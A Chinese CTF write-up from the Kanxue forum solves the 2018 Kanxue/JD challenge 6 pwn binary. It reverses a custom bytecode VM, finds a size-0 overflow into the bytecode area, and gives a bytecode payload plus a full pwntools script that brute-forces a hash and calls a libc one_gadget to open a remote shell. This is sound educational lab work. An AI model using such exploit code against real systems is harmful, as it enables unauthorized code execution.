首页
社区
课程
招聘
[原创]看雪.京东 2018CTF-第六题分析
发表于: 2018-6-27 11:22 2628

[原创]看雪.京东 2018CTF-第六题分析

2018-6-27 11:22
2628
       整个程序分下面几个过程
        1、爆破hash,过掉第一次验证。
        2、从终端读取malloc数据时,读取大小是输入的size-1,当size=0,可读取0xFF大小的数据。产生溢出。
        3、有一段自定义的指令数据,可被上面读到的数据覆盖。
        4、通过分析自定义执行指令格式,构造指令代码片段,替换原始代码片段,拿到shell。
        代码中还有个alarm(60)过了时间,程序就会自动终止,要求爆破的时间必须在1分钟内。
一、查看下程序安全属性
1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
        可以看出保护基本上全开了。
二、使用one_gadget获取拿到shell地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL
 
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL
 
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL
 
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
call_execve = 0x4526a;
        初步选取0x4526a地址为 getShell_offset地址。([esp+0x30]必须为0)
三、初始化函数 sub_CB5
         IDA载入后发现存在初始化数组,有2个函数sub_C80和sub_CB5,其中 sub_C80没干啥, sub_CB5函数功能如下:
        1、使用随机数对sub_15E4等函数地址进行异或,并存储在全局变量中。异或是为了混淆,存储在全局变量是为了简洁的自定义指令引擎使用的。
                sub_15E4 函数-----------------申请空间(输入申请大小,输入存储的内容)。
                sub_16AD函数-----------------显示malloc的内容(实际没有)。
                loc_1478指针  ----------------- 为自定义指令引擎使用,当用户执行完一个操作时,回到选择操作位置。
                loc_1107指针  ----------------- 自定义指令引擎起始位置,用于混淆跳转和偏移计算。
         2、下面两条指令是给自定义的指令数据初始化,主要的作用是根据用户输入跳转到相应的处理函数中。
                qword_203140 = 0x106040F01130301LL;
                qword_203148 = 0x4000161302011409LL;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned __int64 sub_CB5()
{
  signed int i; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+Ch] [rbp-24h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]
 
  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 4; ++i )
    read(fd, (char *)qword_2030C0 - 64LL - 8 * i, 8uLL);
  unk_2030A8 = unk_203080 ^ (unsigned __int64)sub_15E4;
  unk_2030A0 = unk_203078 ^ (unsigned __int64)sub_16AD;
  unk_203098 = unk_203070 ^ (unsigned __int64)sub_1728;
  unk_203090 = unk_203068 ^ (unsigned __int64)&loc_1478;
  unk_203088 = unk_203060 ^ (unsigned __int64)&loc_1107;
  qword_203140 = 0x106040F01130301LL;
  qword_203148 = 0x4000161302011409LL;
  dword_203150 = 0;
  word_203154 = 0;
  byte_203156 = 0;
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}
四、main函数
        其中sub_E87用于屏幕输出,sub_F0C函数用于hash验证,sub_1470函数是用于内存申请、显示、释放等操作。
五、过hash验证
        先产生一个4字节的随机数,然后通过计算获得8个字节数据s,再算其hash,并将hash值打印输出,需要通过hash获得s,输入s,可通过验证。随机数产生时,每个字节x存在如下条件: 0x30 <= x < 0x5B,可爆破过验证。具体脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def getkey(target):
    a = 0x30303030
    #a = 0x3c3b4e4b
    while (a <= 0x5A5A5A5A) :
        s1 = (0x343FD * a + 0x269EC3)&0xffffffff
        s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
        s = (s2<<32) + s1
        hash = 0
        i = 0;
        temp = s
        while(i < 8):
            hash = ((hash*0x83) + (temp&0xff))&0xffffffff  
            temp = temp >> 8
            i=i+1
        if (target == hash):
            print 'find ok'
            return s
 
        if ((a & 0xff) < 0x5A):
            a=a+1
            continue   
        a = (a & 0xffffff00) + 0x30;
        temp = (a & 0xff00) >> 8
        if (temp < 0x5A):
            a = a + 0x0100
            continue   
        a = (a & 0xffff00ff) + 0x3000
        temp = (a & 0xff0000) >> 16
        if (temp < 0x5A) :
            a = a + 0x010000
            continue
        a = (a & 0xff00ffff) + 0x300000;
        a = a + 0x01000000;
    return 0
六、操作函数sub_1470
1、代码混淆
       函数sub_1470通过jmp eax形式进行混淆,eax的实际位置是0x1107,可以手动将jmp eax改成 jmp 1107,但更改后会将下面指令覆盖,可在0x14E5位置更改,让其跳转到10EF位置,将0x14E5的指令" sub     rsp, 88h"挪到 10EF位置。还原后代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
void *__ptr32 *sub_1470()
{
  void *__ptr32 *result; // rax
  __int64 v1; // ST08_8
  __int64 v2; // ST00_8
  __int64 v3; // [rsp+58h] [rbp-20h]
  __int64 v4; // [rsp+60h] [rbp-18h]
  unsigned int v5; // [rsp+74h] [rbp-4h]
 
  sub_1591();
  v5 = sub_1547();
  result = (void *__ptr32 *)v5;
  if ( v5 )
  {
    result = (void *__ptr32 *)v5;
    if ( v5 <= 3 )
    {
      v1 = qword_2030C0[~((unsigned __int8)v5 - 1LL) - 7] ^ qword_2030C0[~((unsigned __int8)v5 - 1LL) - 2];
      v4 = qword_2030C0[-11] ^ qword_2030C0[-6];
      v2 = qword_2030C0[-7] ^ qword_2030C0[-12];
      result = sub_10FE((__int64)&v3);
    }
  }
  return result;
}
void *__ptr32 *__usercall sub_10FE@<rax>(__int64 a1@<rbp>)
{
  __int64 v1; // rt1
  void *__ptr32 *result; // rax
  signed __int64 v3; // rax
 
  *(_QWORD *)(a1 - 64) = 0LL;
  *(_QWORD *)(a1 - 16) = 0LL;
  *(_QWORD *)(a1 - 48) = 0LL;
  *(_QWORD *)(a1 - 8) = 0LL;
  *(_QWORD *)(a1 - 40) = 0LL;
  *(_QWORD *)(a1 - 56) = 0LL;
  *(_QWORD *)(a1 - 32) = 0LL;
  *(_QWORD *)(a1 - 24) = 0LL;
  while ( 1 )
  {                                             //   qword_203140 = 0x106040F01130301LL;
                                                //   qword_203148 = 0x4000161302011409LL;
    *(_QWORD *)(a1 - 0x10) = *((char *)&qword_203140 + *(_QWORD *)(a1 - 0x40));
    v1 = *(_QWORD *)(a1 - 0x10);
    result = off_1A1C;
    switch ( a1 )
    {
      case 1LL:
        *(_QWORD *)(a1 - 0x30) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40) + 1);
        *(_QWORD *)(a1 - 0x40) += 2LL;
        break;
      case 2LL:
        *(_QWORD *)(a1 - 0x28) = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 3LL:
        *(_QWORD *)(a1 - 0x38) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 4LL:
        *(_QWORD *)(a1 - 0x20) = *(__int64 *)((char *)&qword_203140 + *(_QWORD *)(a1 - 0x30));
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 5LL:
        *(_QWORD *)(a1 - 0x38) -= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 6LL:
        *(_QWORD *)(a1 - 0x38) += *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 7LL:
        *(_QWORD *)(a1 - 0x38) *= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 8LL:
        *(_QWORD *)(a1 - 0x38) /= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 9LL:
        *(_QWORD *)(a1 - 0x38) ^= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 10LL:
        *(_QWORD *)(a1 - 0x38) &= *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 11LL:
        *(_QWORD *)(a1 - 0x38) |= *(_QWORD *)(a1 - 32);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 12LL:
        *(_QWORD *)(a1 - 0x18) = *(_QWORD *)(a1 - 0x38) != *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 13LL:
        if ( *(_QWORD *)(a1 - 0x18) )
          v3 = *(_QWORD *)(a1 - 0x40) + 2LL;
        else
          v3 = *((unsigned __int8 *)&qword_203140 + *(_QWORD *)(a1 - 0x40));
        *(_QWORD *)(a1 - 0x40) = v3;
        break;
      case 14LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 15LL:
        *(_QWORD *)(a1 - 0x20) = *(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 16LL:
        *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x38);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 17LL:
        *(_QWORD *)(a1 - 0x28) = *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 18LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(a1 - 0x20);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 19LL:
        *(_QWORD *)(a1 - 0x38) = *(_QWORD *)(-8LL * *(_QWORD *)(a1 - 0x30) + a1 - 0x40);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 20LL:
        *(_QWORD *)(a1 - 0x40 - 8LL * *(_QWORD *)(a1 - 0x30)) = *(_QWORD *)(a1 - 0x38);
        ++*(_QWORD *)(a1 - 64);
        break;
      case 21LL:
        ++*(_QWORD *)(a1 - 0x28);
        ++*(_QWORD *)(a1 - 0x40);
        break;
      case 22LL:
        ++*(_QWORD *)(a1 - 0x40);
        JUMPOUT(__CS__, *(_QWORD *)(a1 - 0x38));
        return result;
      default:
        return result;
    }
  }
}
2、自定义执行引擎
       分析14EF,实际上是个精简的自定义指令执行引擎,具体指令格式如下;
      
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1)寄存器
=============================================================================================================================
    startCodeAddr = 0x203140                                            自定义指令代码开始位置
    curOffset = rbp - 0x40                                              存储当前执行位置索引     
    pc = startCodeAddr+curOffset                                        当前pc
    varStart = rbp - 0x40                                               可以修改的寄存器的基址(向上修改)
    r0 = rbp - 0x38                                                     通用寄存器
    r1 = rbp - 0x30                                                     通用寄存器
    r2 = rbp - 0x28                                                     通用寄存器
    r3 = rbp - 0x20                                                     通用寄存器
    r4 = rbp - 0x18                                                     通用寄存器
=============================================================================================================================
操作码           指令长度                含义                              备注
-----------------------------------------------------------------------------------------------------------------------------
    0x01        2                   r1 = byte[pc + 1]                   从代码段读取一个字节得r1
    0x02        1                   r2 = byte[startCodeAddr + r1]       从代码段[pc + r1]读取一个字节到r2
    0x03        1                   r0 = QWORD[startCodeAddr + r1]      从代码段[pc + r1]读取双字到r0
    0x04        1                   r3 = QWORD[startCodeAddr + r1]      从代码段[pc + r1]读取双字到r3
    0x05        1                   r0 = r0 - r3
    0x06        1                   r0 = r0 + r3
    0x07        1                   r0 = r0 * r3
    0x08        1                   r0 = r0 / r3
    0x09        1                   r0 = r0 ^ r3
    0x0A        1                   r0 = r0 & r3
    0x0B        1                   r0 = r0 | r3
    0x0C        1                   r4 = (r0 != r3)
    0x0D        1                   jnz                                 跳转指令
    0x0e        1                   r0 = QWORD r2
    0x0f        1                   r3 = QWORD r2
    0x10        1                   r2 = QWORD r0
    0x11        1                   r2 = QWORD r3
    0x12        1                   r0 = QWORD r3
    0x13        1                   r0 = QWORD[varStart - r1*8]         从堆栈中按照索引读取数据到r0    
    0x14        1                   [varStart - r1*8] = r0              将r0的内容写到堆栈中
    0x15        1                   r2++
    0x16        1                   call r0                             调用现实中的函数
=============================================================================================================================  
3、自定义指令数据
        字节码的指令数据地址为0x203140,并且在初始化函数中赋值为:01 03 13 01 F 04 06 01 09 14 01 02 13 16 00 40 ,下面是根据上面的指令含义对其分析:
1
2
3
4
5
6
7
8
9
10
11
12
13
pc = 0x203140
[varStart - 2*8] = 0x15E4                      ;根据输入索引,选择不同处理函数,这里输入为1,15E4为申请空间处理函数
01 03   r1 = byte[pc + 1]                      ;r1=3
13      r0 = [varStart - r1*8] = 0x1107        ;自定义指令执行引擎开始位置
01 0F   r1 = byte[pc + 1]                      ;r1=0F
04      r3 = QWORD[0x203140+r1]                ;r3 = QWORD[0x203140 + 0x0f] = 0x40
06      r0 = r0 + r3                           ;0x1107 + 0x40 = 0x1147
01      r1 = byte[pc + 1]                      ;r1=9
14      [varStart - [r1]*8] = r0               ;[varStart - 0x40] = 0x1147,构造从现实函数返回的地址
01      r1 = byte[pc + 1]                      ;r1=2
13      r0 = [varStart - 2*8] = 0x15E4         ;获得要调用的现实函数地址
16      call 0x15E4                            ;调用申请空间出来函数
00      jmp 0x1478                             ;跳转主循环等待用户输入
七、漏洞发现
          程序存在 内存申请、字符拷贝、内存释放等系统调用,但是分析一遍后,没发现太多漏洞,但是发现 sub_15E4中存在一个全局变量溢出漏洞。
          sub_15E4为堆申请函数,其主要流程如下:
          1、输入申请的size
          2、判断size是否大于0x80,大于则退出,否则malloc。
          3、从终端读取size-1个数据到全局buf_2030C0中。
          4、将数据从buf_2030C0拷贝到malloc地址中。
          5、将malloc指针和size赋给全局变量203240 和203248
         这里存在一个漏洞当输入的size为0时,将从终端读取0xFF大小数据到全局变量2030C0,而前面的自定义的指令数据的位置为x203140,其与2030C0相差0x80, 构造payload,并覆盖0x203140,将我们构造的自定义指令覆盖原始的指令。
  八、漏洞利用
         自定义指令存在如下指令:
                    a) 将自定义指令数据写入到寄存器(堆栈)的指令,比如0x02\0x03\0x04相关指令
                    b)  也存在call 寄存器(堆栈)的指令。比如 0x16指令。
        因此如果将执行 getShell_addr的地址放入r0中,然后使其执行0x16指令就可以直接执行如下指令,从而拿到shell。
                    0x4526a execve("/bin/sh", rsp+0x30, environ)
 1、获取内存中的 getShell_addr地址
通过IDA调试,看下图

        可以看到在执行字节码程序时,堆栈中存在多个libc.so库的地址,比如:libc.write+0x10的地址位于 rbp - 0x40 - 0x0d*8的位置。因此我们可以通过构造自定义指令将libc.write+0x10地址读取到通用寄存器中,由于给出了libc.so,可知write+0x10的地址为:0xF72C0,因此可以计算出: get_shell_addr_offset = 0xF72C0 - 4526a =0xB2056。可以事前将 0xB2056放到payload中,然后使用0x14指令即可以使得r0 =  :get_shell_addr的真实地址。然后执行0x16指令就可以拿到shell。
2、构造payload
        1) 将[esp+0x30] = 0。
        2)  r0 = 内存中write+0x10的值。
        3)  r3 = get_shell地址与 write+0x10的偏移。
        4)  r0 = r0 - r3 =  内存 get_shell地址。
        5)  call r0 拿到shell。
       覆盖原始自定义指令的数据为:'\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00',整个pyload为:
       payload = 'A'*0x80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'
       下面是指令的具体说明:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//0x203140 = {01 03 14 01 0D 13 01 0B  04 05 16 56 20 0B 00 00} 
//初始化时,r0 = 0, pc = 0x203140
r0 = 0
pc = 0x203140
 
//[esp - 0x30] = 0
//[esp - 0x30] = varStart - 3*8
01 03    r1 = byte[0x203140 + 1]         ;r1=3
14       [varStart - r1*8] = r0          ;[varStart - 3*8] = [esp - 0x30] = r0 (r0=0)
 
//r0 = write_addr+0x10地址
01 0d    r1 = byte[pc + 1]               ;r1=0d
13       r0 = [varStart - r1*8]          ;r0 = [varStart - 0x0d*8] = write_addr+0x10
 
//r3 = execv_offset
01 0b    r1 = byte[pc + 1]               ;r1=0b
04       r3 = QWORD[startCodeAddr + r1]  ;r3 = *(QWORD*(0x203140+0x0b)) = 0xb2016
 
//r0 = r0 - r3 = execv_addr
05       r0 = r0 + r3                     
 
//get shell
22       call r0                         

3、脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/python
from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
context(os='linux',arch='amd64')
print ('===============================')
 
io = remote('139.199.99.130',8989)
#io = process('./noheap')
 
payload = 'A'*0X80 + '\x01\x03\x14\x01\x0D\x13\x01\x0b\x04\x05\x16\x56\x20\x0B\x00\x00\x00\x00\x00'
 
def getkey(target):
    a = 0x30303030
    #a = 0x3c3b4e4b
    while (a <= 0x5A5A5A5A) :
        s1 = (0x343FD * a + 0x269EC3)&0xffffffff
        s2 = (0x343FD * s1 + 0x269EC3)&0xffffffff
        s = (s2<<32) + s1
        hash = 0
        i = 0;
        temp = s
        while(i < 8):
            hash = ((hash*0x83) + (temp&0xff))&0xffffffff  
            temp = temp >> 8
            i=i+1
        if (target == hash):
            print 'find ok'
            return s
 
        if ((a & 0xff) < 0x5A):
            a=a+1
            continue   
        a = (a & 0xffffff00) + 0x30;
        temp = (a & 0xff00) >> 8
        if (temp < 0x5A):
            a = a + 0x0100
            continue   
        a = (a & 0xffff00ff) + 0x3000
        temp = (a & 0xff0000) >> 16
        if (temp < 0x5A) :
            a = a + 0x010000
            continue
        a = (a & 0xff00ffff) + 0x300000;
        a = a + 0x01000000;
    return 0
 
inputString = io.recvuntil('Input')
 
#get hash from screen
hashStart = inputString.find('Hash:')
hashStart = hashStart+5
hashEnd = inputString.find('\n', hashStart)
aimhash = inputString[hashStart:hashEnd]
target = int(aimhash, 16)
 
#get inputkey by hash   
print "get hash, waiting!"
value = getkey(target)
print str(hex(value))
 
print 'put inputkey to server'
inputkeyPayload = p64(value)
sleep(1)
io.write(inputkeyPayload)
 
print 'select 1 for malloc'
io.recvuntil('Exit')
sleep(1)
io.write('1')
sleep(1)
 
print 'put 0  for malloc size,real can write 0xFF data to server'
io.recvuntil('Size')
sleep(1)
io.write('0')
 
print 'put payload data is saved at 0x2030C0'
io.recvuntil('Content')
sleep(1)
io.write(payload)
sleep(1)
 
print 'put 1 ,but pc will go to execv'
io.recvuntil('Exit')
sleep(2)
io.write('1')
 
io.interactive()

九、flag
        
       
flag{4be6c278519a61e0176463bbd17a235a3
}



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2018-6-29 15:45 被oooAooo编辑 ,原因:
收藏
免费
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册